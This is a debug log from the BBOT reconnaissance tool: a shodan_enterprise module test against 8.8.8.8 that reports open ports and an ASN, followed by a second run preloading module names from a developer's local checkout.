'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:53:32,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:53:32,951 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:53:32,951 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:53:32,954 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-01 16:53:32,955 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-03-01 16:53:32,955 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-01 16:53:32,956 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-01 16:53:32,956 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-03-01 16:53:32,957 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-03-01 16:53:32,957 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-03-01 16:53:32,958 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-03-01 16:53:32,958 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-01 16:53:33,056 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-01 16:53:33,057 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:53:33,058 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:53:33,058 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-03-01 16:53:33,059 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-03-01 16:53:33,059 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,060 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,060 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:53:33,061 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,062 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:53:33,062 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:53:33,063 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,063 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,064 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:53:33,064 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,064 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,065 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,066 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:53:33,066 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:53:33,067 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:53:33,067 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,068 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,068 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,069 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,069 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,070 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,070 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,071 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:53:33,071 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,072 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:53:33,073 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:53:33,073 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:53:33,073 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,074 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,074 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,074 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,075 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:53:33,075 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:53:33,076 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,076 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,077 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,077 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,078 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:53:33,078 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,078 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,079 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:53:33,079 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:53:33,160 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:53:33,161 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,162 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:53:33,163 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:53:33,163 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:53:33,164 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,164 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:53:33,164 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:53:33,165 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:53:33,166 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:53:33,166 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:53:33,166 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:53:33,167 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:53:33,167 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:53:33,167 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:53:33,168 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:53:33,268 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:53:33,269 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:53:33,288 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:53:33,289 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:53:33,289 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:53:33,296 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:53:33,296 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:53:33,297 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:53:33,298 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:53:33,299 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:53:33,300 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:53:33,414 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_w29qre59v4 completed in 0 seconds with status FINISHED +2026-03-01 16:53:33,414 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:53:33,415 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:54:53,989 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:54:53,999 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:54:54,000 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:54:54,001 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:54:54,002 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:54:54,003 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:54:54,004 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:54:54,005 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:54:54,006 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:54:54,007 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:54:54,007 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:54:54,009 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:54:54,009 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:54:54,010 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:54:54,011 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:54:54,012 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:54:54,013 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:54:54,013 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:54:54,014 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:54:54,015 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:54:54,016 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:54:54,017 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:54:54,017 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:54:54,018 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:54:54,019 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:54:54,019 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:54:54,020 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:54:54,020 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:54:54,022 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:54:54,023 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:54:54,025 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:54:54,026 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:54:54,027 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:54:54,028 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:54:54,029 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:54:54,030 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:54:54,031 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:54:54,032 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:54:54,032 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:54:54,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:54:54,034 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:54:54,035 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:54:54,036 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:54:54,037 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:54:54,037 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:54:54,038 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:54:54,039 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:54:54,040 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:54:54,041 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:54:54,042 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:54:54,042 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:54:54,043 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:54:54,043 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:54:54,044 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:54:54,048 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:54:54,049 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:54:54,050 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:54:54,051 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:54:54,052 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:54:54,052 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:54:54,053 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:54:54,054 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:54:54,054 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:54:54,055 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:54:54,056 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:54:54,056 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:54:54,057 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:54:54,058 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:54:54,059 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:54:54,059 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:54:54,060 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:54:54,060 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:54:54,061 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:54:54,061 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:54:54,062 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:54:54,063 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:54:54,064 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:54:54,064 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:54:54,065 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:54:54,065 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:54:54,071 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:54:54,072 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:54:54,072 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:54:54,073 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:54:54,074 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:54:54,075 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:54:54,076 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:54:54,077 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:54:54,077 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:54:54,078 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:54:54,079 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:54:54,080 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:54:54,080 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:54:54,081 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:54:54,082 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:54:54,083 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:54:54,083 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:54:54,084 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:54:54,084 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:54:54,085 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:54:54,085 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:54:54,086 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:54:54,086 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:54:54,087 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:54:54,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:54:54,088 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:54:54,089 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:54:54,090 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:54:54,091 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:54:54,091 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:54:54,092 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:54:54,093 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:54:54,093 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:54:54,094 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:54:54,094 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:54:54,095 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:54:54,095 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:54:54,096 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:54:54,096 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:54:54,097 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:54:54,098 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:54:54,098 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:54:54,099 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:54:54,099 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:54:54,100 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:54:54,100 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:54:54,101 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:54:54,102 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:54:54,102 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:54:54,103 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache 